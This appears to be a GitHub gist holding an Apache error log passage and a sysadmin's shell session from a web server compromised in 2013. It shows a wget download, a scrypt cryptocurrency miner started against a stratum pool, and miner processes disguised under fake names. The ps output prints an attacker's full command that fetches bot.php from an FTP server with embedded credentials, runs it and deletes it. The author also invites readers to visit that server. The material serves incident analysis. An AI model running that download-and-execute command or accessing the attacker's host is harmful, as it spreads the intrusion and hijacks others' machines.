[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] .. 26% 12.2K 25s
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] 100K .
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] . .
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] . .
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] . .
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] . 40% 16.1K 18s
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] 150K .
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:32 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:32 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:32 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:32 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:32 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:32 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:33 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:33 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:33 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:33 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:33 2013] [error] [client 37.187.77.137] . 53% 11.7K 14s
[Sun Nov 03 02:05:33 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:05:33 2013] [error] [client 37.187.77.137] 200K .
[Sun Nov 03 02:05:33 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:34 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:34 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:34 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:34 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:34 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:34 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:34 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:35 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:35 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:35 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:35 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:35 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:35 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:36 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:36 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:36 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:36 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:36 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:36 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:37 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:37 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:37 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:37 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:39 2013] [error] [client 37.187.77.137] .. 67% 9.09K 11s
[Sun Nov 03 02:05:39 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:05:39 2013] [error] [client 37.187.77.137] 250K .
[Sun Nov 03 02:05:39 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:39 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:40 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:41 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:42 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:42 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:43 2013] [error] [client 37.187.77.137] . .
[Sun Nov 03 02:05:43 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:43 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:44 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:44 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:44 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:45 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:45 2013] [error] [client 37.187.77.137] . .
[Sun Nov 03 02:05:45 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:45 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:46 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:46 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:46 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:46 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:47 2013] [error] [client 37.187.77.137] . .
[Sun Nov 03 02:05:47 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:48 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:48 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:48 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:48 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:48 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:49 2013] [error] [client 37.187.77.137] . .
[Sun Nov 03 02:05:49 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:49 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:49 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:50 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:50 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:50 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:51 2013] [error] [client 37.187.77.137] . 80% 4.21K 8s
[Sun Nov 03 02:05:51 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:05:51 2013] [error] [client 37.187.77.137] 300K ..
[Sun Nov 03 02:05:51 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:51 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:51 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:51 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:52 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:52 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:52 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:52 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:52 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:52 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:53 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:53 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:53 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:53 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:53 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:53 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:53 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:54 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:54 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:54 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:54 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:54 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:54 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:54 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:55 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:55 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:55 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:55 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:55 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:55 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:56 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:56 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:56 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:56 2013] [error] [client 37.187.77.137] . 94% 8.77K 2s
[Sun Nov 03 02:05:56 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:05:56 2013] [error] [client 37.187.77.137] 350K .
[Sun Nov 03 02:05:56 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:57 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:57 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:57 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:57 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:57 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:57 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:58 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:58 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:58 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:58 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:59 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] 100% 5.67K
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] =43s
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] 2013-11-03 02:06:00 (8.56 KB/s) - `clamav' saved [379680/379680]
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Starting Stratum on stratum+tcp://mine.cc.st:3333
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Binding thread 0 to cpu 0
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Binding thread 2 to cpu 2
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Binding thread 1 to cpu 1
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] 8 miner threads started, using 'scrypt' algorithm.
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Binding thread 3 to cpu 3
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Binding thread 6 to cpu 6
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Binding thread 7 to cpu 7
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] chattr: Operation not permitted while setting flags on bash
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Binding thread 4 to cpu 4
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Binding thread 5 to cpu 5
[Sun Nov 03 02:06:02 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:02] thread 3: 4096 hashes, 3.28 khash/s
[Sun Nov 03 02:06:02 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:02] thread 1: 4096 hashes, 3.20 khash/s
[Sun Nov 03 02:06:02 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:02] thread 7: 4096 hashes, 3.16 khash/s
[Sun Nov 03 02:06:02 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:02] thread 6: 4096 hashes, 3.06 khash/s
[Sun Nov 03 02:06:03 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:03] thread 2: 4096 hashes, 2.69 khash/s
[Sun Nov 03 02:06:03 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:03] thread 0: 4096 hashes, 2.65 khash/s
[Sun Nov 03 02:06:03 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:03] thread 5: 4096 hashes, 2.54 khash/s
[Sun Nov 03 02:06:03 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:03] thread 4: 4096 hashes, 2.93 khash/s
[Sun Nov 03 02:06:14 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:14] Stratum detected new block
[Sun Nov 03 02:06:14 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:14] thread 7: 30880 hashes, 2.54 khash/s
$ top
top - 08:05:17 up 45 days, 9:33, 1 user, load average: 10.17, 10.20, 10.32
Tasks: 134 total, 3 running, 130 sleeping, 0 stopped, 1 zombie
Cpu(s): 17.9%us, 7.1%sy, 74.0%ni, 0.0%id, 0.0%wa, 0.0%hi, 0.0%si, 1.1%st
Mem: 1548148k total, 1103392k used, 444756k free, 109020k buffers
Swap: 524284k total, 218748k used, 305536k free, 234816k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
27781 www-data 20 0 90624 796 676 S 597 0.1 2257:41 bash
27740 www-data 20 0 4892 2336 1304 R 100 0.2 249:33.75 upxA3NRZV0A1CY
23672 www-data 20 0 5020 2856 1284 R 99 0.2 1082:39 perl
26551 root 20 0 683m 453m 2452 S 1 30.0 204:05.42 btsync
1048 root 20 0 0 0 0 S 0 0.0 1:18.24 kjournald
31779 root 20 0 17348 7556 1548 S 0 0.5 0:16.69 ruby1.8
1 root 20 0 2108 40 12 S 0 0.0 0:47.73 init
2 root 20 0 0 0 0 S 0 0.0 0:00.00 kthreadd
3 root 20 0 0 0 0 S 0 0.0 0:08.82 ksoftirqd/0
5 root 20 0 0 0 0 S 0 0.0 0:00.03 kworker/u:0
6 root RT 0 0 0 0 S 0 0.0 0:00.00 migration/0
7 root RT 0 0 0 0 S 0 0.0 0:00.00 migration/1
8 root 20 0 0 0 0 S 0 0.0 0:00.00 kworker/1:0
9 root 20 0 0 0 0 S 0 0.0 0:03.99 ksoftirqd/1
10 root RT 0 0 0 0 S 0 0.0 0:00.00 migration/2
11 root 20 0 0 0 0 S 0 0.0 0:00.00 kworker/2:0
12 root 20 0 0 0 0 S 0 0.0 0:03.27 ksoftirqd/2
13 root RT 0 0 0 0 S 0 0.0 0:00.00 migration/3
14 root 20 0 0 0 0 S 0 0.0 0:00.00 kworker/3:0
15 root 20 0 0 0 0 S 0 0.0 0:03.06 ksoftirqd/3
16 root RT 0 0 0 0 S 0 0.0 0:00.00 migration/4
17 root 20 0 0 0 0 S 0 0.0 0:00.00 kworker/4:0
18 root 20 0 0 0 0 S 0 0.0 0:03.01 ksoftirqd/4
19 root RT 0 0 0 0 S 0 0.0 0:00.00 migration/5
20 root 20 0 0 0 0 S 0 0.0 0:00.00 kworker/5:0
21 root 20 0 0 0 0 S 0 0.0 0:03.17 ksoftirqd/5
22 root RT 0 0 0 0 S 0 0.0 0:00.00 migration/6
23 root 20 0 0 0 0 S 0 0.0 0:00.00 kworker/6:0
24 root 20 0 0 0 0 S 0 0.0 0:03.38 ksoftirqd/6
25 root RT 0 0 0 0 S 0 0.0 0:00.00 migration/7
26 root 20 0 0 0 0 S 0 0.0 0:00.00 kworker/7:0
27 root 20 0 0 0 0 S 0 0.0 0:03.46 ksoftirqd/7
rick@smegatron:~$ ps auxwww | grep -i perl
rick 682 0.0 0.0 3960 776 pts/0 S+ 08:05 0:00 grep -i perl
rick@smegatron:~$ ps auxwww | grep perl
rick 684 0.0 0.0 3960 764 pts/0 S+ 08:05 0:00 grep perl
rick@smegatron:~$ ps auxwww | grep perl
rick 686 0.0 0.0 3960 768 pts/0 S+ 08:05 0:00 grep perl
rick@smegatron:~$ ps auxwww | grep upx
rick 688 0.0 0.0 3960 764 pts/0 S+ 08:05 0:00 grep upx
rick@smegatron:~$ ps auxwww | grep -i www-data
www-data 494 0.0 0.4 45924 7596 ? S 07:42 0:00 /usr/sbin/apache2 -k start
www-data 574 0.0 0.4 45916 7552 ? S 07:55 0:00 /usr/sbin/apache2 -k start
www-data 594 0.0 0.4 45924 7660 ? S 07:56 0:00 /usr/sbin/apache2 -k start
www-data 595 0.0 0.4 45924 7536 ? S 07:56 0:00 /usr/sbin/apache2 -k start
www-data 599 0.0 0.4 45924 7592 ? S 07:56 0:00 /usr/sbin/apache2 -k start
www-data 605 0.0 0.4 45924 7612 ? S 07:56 0:00 /usr/sbin/apache2 -k start
www-data 608 0.0 0.6 46224 10708 ? S 07:56 0:00 /usr/sbin/apache2 -k start
www-data 651 0.0 0.4 45788 7408 ? S 08:04 0:00 /usr/sbin/apache2 -k start
www-data 652 0.0 0.4 45788 7384 ? S 08:05 0:00 /usr/sbin/apache2 -k start
www-data 654 0.0 0.4 45788 7376 ? S 08:05 0:00 /usr/sbin/apache2 -k start
rick 692 0.0 0.0 3960 776 pts/0 S+ 08:05 0:00 grep -i www-data
www-data 23672 99.8 0.1 5020 2856 ? R Nov02 1083:17 sysprot
www-data 27629 0.0 0.4 45924 7044 ? S 01:46 0:00 /usr/sbin/apache2 -k start
www-data 27693 0.0 0.0 0 0 ? Z 02:04 0:00 [php] <defunct>
www-data 27701 0.0 0.0 3032 1232 ? S 02:04 0:00 sh -c cd /tmp ; wget ftp://ftp:wer234234@80.79.48.186/bot.php ; curl -O ftp://ftp:wer234234@80.79.48.186/bot.php ; fetch ftp://ftp:wer234234@80.79.48.186/bot.php; php bot.php ; rm -rf bot.php
www-data 27720 0.0 0.4 37000 7476 ? S 02:04 0:00 php bot.php
www-data 27740 69.3 0.1 4892 2336 ? R 02:04 250:11 init [3]
www-data 27781 628 0.0 90624 796 ? Ssl 02:06 2261:25 bash -o stratum+tcp://mine.cc.st:3333 -O geox.1:x -B
www-data 31771 0.0 0.2 34412 4392 ? S 06:25 0:00 /usr/sbin/apache2 -k start
Note that proclines are changed between top and ps. Shit like `init [3]` and `sysprot` are names given to the processes to attempt to hide in ps output.
Anyone want to climb upstream to `ftp://ftp:wer234234@80.79.48.186/` and see another instance still alive?
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.